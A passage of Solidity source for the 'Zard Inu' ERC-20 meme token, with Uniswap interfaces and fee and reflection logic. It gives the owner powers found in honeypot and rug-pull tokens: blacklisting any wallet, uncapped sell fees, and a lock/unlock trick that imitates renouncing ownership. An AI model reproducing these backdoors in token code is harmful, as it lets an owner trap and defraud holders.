value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // contract implementation contract ZardInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; string private _name = "Zard Inu"; // name string private _symbol = "ZARD"; // symbol uint256 private _tTotal = 1000000000000 * 10**9; // 1T // % to holders uint256 public defaultTaxFee = 3; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 4; //applies to sells only bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = 50000000 * 10**2 * 10**9; // max transaction amount uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); // contract balance to trigger swap & send address payable private _teamWalletAddress; address payable private _marketingWalletAddress; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; bool public tradingEnabled = false; event SwapAndSendEnabledUpdated(bool enabled); //------ bool private cooldownEnabled = false; uint256 private _numOfTokensToExchangeForTeam = 5 * 10**6; // 5M bool private isCooldownEnabled = true; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; mapping (address => bool) private bots; event MaxTxAmountUpdated(uint _maxTxAmount); mapping (address => bool) private _isBlacklisted; //------ modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isBlackListedBot[address(0x7589319ED0fD750017159fb4E4d96C63966173C1)] = true; _blackListedBots.push(address(0x7589319ED0fD750017159fb4E4d96C63966173C1)); _isBlackListedBot[address(0x65A67DF75CCbF57828185c7C050e34De64d859d0)] = true; _blackListedBots.push(address(0x65A67DF75CCbF57828185c7C050e34De64d859d0)); _isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true; _blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)); _isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true; _blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)); _isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true; _blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)); _isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true; _blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)); _isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true; _blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)); _isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true; _blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)); _isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true; _blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848)); _isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true; _blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)); _isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true; _blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679)); _isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true; _blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)); _isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true; _blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)); _isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true; _blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)); _isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true; _blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084)); _isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true; _blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)); _isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true; _blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)); _isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true; _blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241)); _isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true; _blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553)); _isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true; _blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD)); _isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true; _blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA)); _isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true; _blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)); _isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true; _blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)); _isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true; _blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd)); _isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true; _blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)); _isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true; _blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415)); _isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true; _blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)); _isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true; _blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)); _isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true; _blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)); _isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true; _blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)); _isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true; _blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)); _isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true; _blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)); _isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true; _blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)); _isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true; _blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)); _isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true; _blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)); _isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true; _blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); require(_isBlacklisted[from] == false || to == address(0), "You are banned"); require(_isBlacklisted[to] == false, "The recipient is banned"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingEnabled, "Trading is not enabled yet"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingEnabled); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (2 minutes); defaultMarketingFee = 8; _marketingFee4Sellers = 8; } } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { _teamWalletAddress.transfer(contractETHBalance.div(2)); _marketingWalletAddress.transfer(contractETHBalance.div(2)); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function LetTradingBegin(bool _tradingEnabled) external onlyOwner() { tradingEnabled = _tradingEnabled; } function blacklistSingleWallet(address addresses) public onlyOwner(){ if(_isBlacklisted[addresses] == true) return; _isBlacklisted[addresses] = true; } function blacklistMultipleWallets(address[] calldata addresses) public onlyOwner(){ for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function isBlacklisted(address addresses) public view returns (bool){ if(_isBlacklisted[addresses] == true) return true; else return false; } function unBlacklistSingleWallet(address addresses) external onlyOwner(){ if(_isBlacklisted[addresses] == false) return; _isBlacklisted[addresses] = false; } function unBlacklistMultipleWallets(address[] calldata addresses) public onlyOwner(){ for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = false; } } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
contract implementation % to holders % to swap & send to marketing wallet------------
